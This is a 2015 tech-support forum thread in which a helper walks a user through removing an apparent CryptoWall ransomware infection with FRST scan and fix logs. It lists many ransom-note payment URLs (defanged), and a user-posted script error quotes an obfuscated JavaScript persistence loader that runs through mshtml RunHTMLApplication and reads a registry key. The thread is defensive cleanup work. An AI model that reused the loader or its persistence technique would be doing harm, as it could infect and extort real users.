InternetURL: C:\Users\Tim\Favorites\Microsoft Websites\IE site on Microsoft.com.url -> hxxp://go.microsoft.com/fwlink/?linkid=44661
InternetURL: C:\Users\Tim\Favorites\Microsoft Websites\Microsoft At Home.url -> hxxp://go.microsoft.com/fwlink/?linkid=55424
InternetURL: C:\Users\Tim\Favorites\Microsoft Websites\Microsoft At Work.url -> hxxp://go.microsoft.com/fwlink/?linkid=68920
InternetURL: C:\Users\Tim\Favorites\Microsoft Websites\Microsoft Store.url -> hxxp://go.microsoft.com/fwlink/?linkid=140813
InternetURL: C:\Users\Tim\Favorites\Links for United States\GobiernoUSA.gov.url -> hxxp://go.microsoft.com/fwlink/?LinkId=129792
InternetURL: C:\Users\Tim\Favorites\Links for United States\USA.gov.url -> hxxp://go.microsoft.com/fwlink/?LinkId=129791
InternetURL: C:\Users\Tim\Favorites\Links\Google Maps (2).url -> https://maps.google.com/maps?hl=en&...015&ei=_ZVBU6qmE4rKsQT2woLQBg&ved=0CCEQtQMwAQ
InternetURL: C:\Users\Tim\Favorites\Links\Google Maps.url -> https://maps.google.com/maps?hl=en&...015&ei=_ZVBU6qmE4rKsQT2woLQBg&ved=0CCEQtQMwAQ
InternetURL: C:\Users\Tim\Favorites\Links\Suggested Sites.url -> https://ieonline.microsoft.com/#ieslice
InternetURL: C:\Users\Tim\Favorites\Links\Web Slice Gallery.url -> hxxp://go.microsoft.com/fwlink/?LinkId=121315
InternetURL: C:\Users\Tim\Downloads\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Documents\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Documents\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Documents\HandHistory\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Documents\HandHistory\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\Documents\HandHistory\Mickey Eyes\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\Documents\HandHistory\Mickey Eyes\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\permanent\moz-safe-about+home\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\permanent\moz-safe-about+home\idb\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\permanent\chrome\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\permanent\chrome\idb\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\default\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Microsoft\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Microsoft\Windows Photo Viewer\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Cookies\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Cookies\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Hoyle FaceCreator\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Roaming\Hoyle FaceCreator\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Hoyle\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Roaming\Hoyle\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\G001\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\G001\Firefox\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\G001\Firefox\Profiles\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\G001\Firefox\Profiles\b82eqdtp.default\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\BitTorrent\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Roaming\BitTorrent\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\BitTorrent\apps\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Roaming\BitTorrent\apps\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\BitTorrent\apps\D944B3378FAB35793B7951FA53E41B2AB9CC462B\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Roaming\BitTorrent\apps\D944B3378FAB35793B7951FA53E41B2AB9CC462B\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Adobe\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Roaming\Adobe\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Roaming\Adobe\Flash Player\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Roaming\Adobe\Flash Player\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Mozilla\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Mozilla\Firefox\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Mozilla\Firefox\Profiles\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Mozilla\Firefox\Profiles\0msqv599.default\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft Games\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Microsoft Games\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft Games\Spider Solitaire\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Microsoft Games\Spider Solitaire\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft Games\Purble Place\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Microsoft Games\Purble Place\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft Games\Mahjong Titans\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Microsoft Games\Mahjong Titans\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft Games\Hearts\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Microsoft Games\Hearts\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Windows Media\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Windows Media\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Windows Media\12.0\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Windows Media\12.0\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Backup\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Backup\new\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Media Player\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Media Player\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Internet Explorer\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Internet Explorer\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Microsoft\Device Metadata\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Apple Computer\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Apple Computer\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Apple Computer\iTunes\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Apple Computer\iTunes\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2
InternetURL: C:\Users\Tim\AppData\Local\Apple Computer\iTunes\iAd\DECRYPT_INSTRUCTION.URL -> https://kpai7ycr7jxqkilp.totortoweb.com/cgQm
InternetURL: C:\Users\Tim\AppData\Local\Apple Computer\iTunes\iAd\HELP_DECRYPT.URL -> hxxp://paytoc4gtpn5czl2.torconnectpaycom/16t89v2

==================== End of log =============================


----------



## timmy12342 (Mar 7, 2015)

That's everything. Thank you for your help


----------



## JSntgRvr (Jul 1, 2003)

Please download the enclosed file. (see below) and save it in the same directory as *FRST*.

Start *FRST* with Administrator privileges.
Press the *Fix* button.
When finished, a log file (*Fixlog.txt*) pops up and is saved to the same location the tool was run from.
Please copy and paste its contents in your next reply.

If too large, please upload the file *here*.


----------



## timmy12342 (Mar 7, 2015)

.Script Error- "Invalid root in registry key "HKCU\software\classes\clsid\{ab8902b4-09ca-4bb6-b78d-a8f5-907a8d5}\localserver32\a" 

URL:javascript:"\..\mshtml,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SfhSfbe)(ILDV]]tpguxbsf]]dmbttft]]dmtje]]|bc9:13c5.1:db.5cc7.c89e.b9g6:18:b9e6~]]mpdbmtfswfs43]]b(*,(=0tdsjqu?(*".replace(/./g,function(_){

Popped up multiple times during fix


----------



## timmy12342 (Mar 7, 2015)

I have submitted the fixlog to you at bleepingcomputer. Thanks again


----------



## JSntgRvr (Jul 1, 2003)

I believe we have gotten all.

Please rescan with *FRST* and post its report.


----------



## timmy12342 (Mar 7, 2015)

Scan result of Farbar Recovery Scan Tool (FRST) (x86) Version: 08-03-2015 03
Ran by Tim (administrator) on TIM-PC on 08-03-2015 23:21:49
Running from C:\Users\Tim\Downloads\FRST-OlderVersion
Loaded Profiles: Tim (Available profiles: Tim)
Platform: Microsoft Windows 7 Ultimate (X86) OS Language: English (United States)
Internet Explorer Version 8 (Default browser: FF)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(Apple Inc.) C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
(Malwarebytes Corporation) D:\Malwarebytes Anti-Malware\mbamscheduler.exe
(Malwarebytes Corporation) D:\Malwarebytes Anti-Malware\mbamservice.exe
(Malwarebytes Corporation) D:\Malwarebytes Anti-Malware\mbam.exe
(Apple Inc.) D:\iTunes\iTunesHelper.exe
(Belkin) C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe
(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
() C:\Program Files\Linksys\Wireless-B PCI Adapter\OdHost.exe
(The Linksys Group, Inc.) C:\Program Files\Linksys\Wireless-B PCI Adapter\WMP11CFG.exe
(Microsoft Corporation) C:\Windows\System32\PresentationHost.exe
(Microsoft Corporation) C:\Windows\System32\cmd.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe

==================== Registry (Whitelisted) ==================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [iTunesHelper] => D:\iTunes\iTunesHelper.exe [152392 2014-01-20] (Apple Inc.)
HKLM\...\Run: [Adobe ARM] => C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1022152 2014-12-19] (Adobe Systems Incorporated)
HKLM\...\Run: [FlashPlayerUpdate] => C:\Users\Tim\AppData\Local\Macromedia\Flash Player\FlashPlayerUpdateService.exe [188928 2015-03-08] ()
HKLM\...\Run: [{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}] => C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}.exe [212011 2014-05-15] ()
HKLM\...\RunServices: [Atheros Configuration Service] => C:\Windows\System32\acs.exe [36864 2005-05-05] ()
HKLM\...\Policies\Explorer\Run: [{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}] => C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}.exe [212011 2014-05-15] ( ())
HKLM\...\Policies\Explorer: [TaskbarNoNotification] 1
HKLM\...\Policies\Explorer: [HideSCAHealth] 1
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [BluetoothS] => rundll32.exe "%appdata%\BtvStack.dll",BTHF_Register
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Policies\Explorer: [TaskbarNoNotification] 1
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Policies\Explorer: [HideSCAHealth] 1
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Belkin Wireless Utility.lnk
ShortcutTarget: Belkin Wireless Utility.lnk -> C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe (Belkin)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Wireless-B Notebook Adapter Utility.lnk
ShortcutTarget: Wireless-B Notebook Adapter Utility.lnk -> C:\Program Files\Linksys\Wireless-B PCI Adapter\Startup.exe ()

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.google.com
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkId=56626&homepage=http://www.google.com/
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = http://www.msn.com/?ocid=iehp
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> URL http://search.conduit.com/Results.aspx?ctid=CT3323878&octid=EB_ORIGINAL_CTID&SearchSource=58&CUI=&UM=4&UP=SP15BE49DC-0845-49C5-BF5C-5190268C75F4&q={searchTerms}&SSPV=SE1CG2_sp_ie
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> {6119AD82-DA2F-4B34-BB9A-878B98DF03EF} URL = http://www.bing.com/search?q={searchTerms}
Tcpip\Parameters: [DhcpNameServer] 192.168.1.254

FireFox:
========
FF ProfilePath: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF32_16_0_0_305.dll [2015-03-03] ()
FF Plugin: @Apple.com/iTunes,version=1.0 -> D:\iTunes\Mozilla Plugins\npitunes.dll [2013-12-18] ()
FF Plugin: Adobe Reader -> C:\Program Files\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2014-12-03] (Adobe Systems Inc.)

Chrome: 
=======
CHR Profile: C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (save! Net) - C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default\Extensions\hbimodhljhimhoodfcelccoebafophdn [2014-04-21]

========================== Services (Whitelisted) =================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

R2 MBAMScheduler; D:\Malwarebytes Anti-Malware\mbamscheduler.exe [1871160 2014-11-21] (Malwarebytes Corporation)
R2 MBAMService; D:\Malwarebytes Anti-Malware\mbamservice.exe [969016 2014-11-21] (Malwarebytes Corporation)
S4 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [680960 2009-07-13] (Microsoft Corporation)

==================== Drivers (Whitelisted) ====================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

R2 AegisP; C:\Windows\System32\DRIVERS\AegisP.sys [17801 2015-03-02] (Meetinghouse Data Communications) [File not signed]
R3 BLKWGD; C:\Windows\System32\DRIVERS\BLKWGD.sys [463872 2005-06-01] (Belkin Corporation.)
S3 EsgScanner; C:\Windows\System32\DRIVERS\EsgScanner.sys [19984 2015-03-06] ()
S3 IPN2120; C:\Windows\System32\DRIVERS\LSIPNDS.sys [96256 2003-07-10] (The Linksys Group, Inc.)
R3 MBAMProtector; C:\Windows\system32\drivers\mbam.sys [23256 2014-11-21] (Malwarebytes Corporation)
R3 MBAMSwissArmy; C:\Windows\system32\drivers\MBAMSwissArmy.sys [114904 2015-03-08] (Malwarebytes Corporation)
R3 MBAMWebAccessControl; C:\Windows\system32\drivers\mwac.sys [51928 2014-11-21] (Malwarebytes Corporation)
R3 odysseyIM3; C:\Windows\System32\DRIVERS\odysseyIM3.sys [62673 2003-05-14] (Funk Software, Inc.)
U5 VWiFiFlt; C:\Windows\System32\Drivers\VWiFiFlt.sys [48128 2009-07-13] (Microsoft Corporation)

==================== NetSvcs (Whitelisted) ===================

(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)

==================== One Month Created Files and Folders ========

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-03-08 22:21 - 2015-03-08 22:21 - 00044039 _____ () C:\Users\Tim\Downloads\fixlist.txt
2015-03-08 20:49 - 2015-03-08 21:08 - 00114904 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2015-03-08 20:49 - 2015-03-08 20:49 - 00000621 _____ () C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk
2015-03-08 20:48 - 2015-03-08 20:49 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware
2015-03-08 20:48 - 2015-03-08 20:48 - 00000000 ____D () C:\ProgramData\Malwarebytes
2015-03-08 20:48 - 2014-11-21 06:14 - 00075480 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mbamchameleon.sys
2015-03-08 20:48 - 2014-11-21 06:14 - 00051928 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mwac.sys
2015-03-08 20:48 - 2014-11-21 06:14 - 00023256 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mbam.sys
2015-03-08 20:20 - 2015-03-08 20:40 - 20447072 _____ (Malwarebytes Corporation ) C:\Users\Tim\Downloads\mbam-setup-2.0.4.1028.exe
2015-03-08 19:53 - 2015-03-08 20:03 - 00000000 ____D () C:\AdwCleaner
2015-03-08 19:48 - 2015-03-08 19:49 - 02126848 _____ () C:\Users\Tim\Downloads\adwcleaner_4.111.exe
2015-03-08 19:41 - 2015-03-08 19:41 - 00005015 _____ () C:\Users\Tim\Desktop\JRT.txt
2015-03-08 15:39 - 2015-03-08 15:45 - 01388333 _____ (Thisisu) C:\Users\Tim\Downloads\JRT.exe
2015-03-08 15:21 - 2015-03-08 15:21 - 00000761 _____ () C:\Windows\system32\Drivers\etc\hosts.txt
2015-03-08 14:57 - 2015-03-08 15:17 - 00805518 _____ () C:\Users\Tim\Desktop\ListCWall.txt
2015-03-08 14:55 - 2015-03-08 14:57 - 00452424 _____ (Bleeping Computer, LLC) C:\Users\Tim\Downloads\ListCWall.exe
2015-03-07 15:18 - 2015-03-07 15:23 - 00509440 _____ (Tech Support Guy System) C:\Users\Tim\Downloads\SysInfo.exe
2015-03-07 14:30 - 2015-03-08 23:21 - 00000000 ____D () C:\Users\Tim\Downloads\FRST-OlderVersion
2015-03-07 13:59 - 2015-03-07 14:32 - 00048686 _____ () C:\Users\Tim\Downloads\Shortcut.txt
2015-03-07 13:59 - 2015-03-07 14:32 - 00022741 _____ () C:\Users\Tim\Downloads\Addition.txt
2015-03-07 13:58 - 2015-03-07 14:32 - 00028747 _____ () C:\Users\Tim\Downloads\FRST.txt
2015-03-07 12:48 - 2015-03-08 23:21 - 00000000 ____D () C:\FRST
2015-03-07 02:07 - 2015-03-07 14:30 - 01134080 _____ (Farbar) C:\Users\Tim\Downloads\FRST.exe
2015-03-06 23:36 - 2015-03-06 23:36 - 00019984 _____ () C:\Windows\system32\Drivers\EsgScanner.sys
2015-03-06 22:59 - 2015-03-06 23:00 - 00018944 ___SH () C:\Users\Tim\Thumbs.db
2015-03-06 16:15 - 2015-03-06 16:16 - 00000000 ____D () C:\Program Files\Mozilla Firefox
2015-03-05 20:07 - 2015-03-08 21:07 - 00000000 ___HD () C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}
2015-03-05 15:26 - 2015-03-05 15:26 - 00000568 _____ () C:\Users\Public\Desktop\Graphic Equalizer Studio 2015.lnk
2015-03-05 15:26 - 2015-03-05 15:26 - 00000568 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Graphic Equalizer Studio 2015.lnk
2015-03-05 15:26 - 2015-03-05 15:26 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015
2015-03-05 15:26 - 2015-03-05 15:26 - 00000000 ____D () C:\Program Files\graphic eq
2015-03-05 15:11 - 2015-03-05 15:24 - 08774480 _____ (Pantaray Research Ltd.) C:\Users\Tim\Downloads\EQDemo64.exe
2015-03-05 14:41 - 2015-03-05 14:42 - 01265198 _____ () C:\Users\Tim\Downloads\EqualizerAPO32-0.7.exe
2015-03-05 14:31 - 2015-03-05 14:34 - 01657594 _____ () C:\Users\Tim\Downloads\EqualizerAPO64-0.9.1.exe
2015-03-03 20:03 - 2015-03-03 20:03 - 00018944 ___SH () C:\Users\Tim\AppData\Thumbs.db
2015-03-02 15:41 - 2015-03-02 15:57 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Local Store
2015-03-02 14:41 - 2015-03-06 22:57 - 00000000 ____D () C:\Program Files\Enigma Software Group
2015-03-02 14:38 - 2015-03-02 14:40 - 03044736 _____ (Enigma Software Group USA, LLC.) C:\Users\Tim\Downloads\SpyHunter-Installer.exe
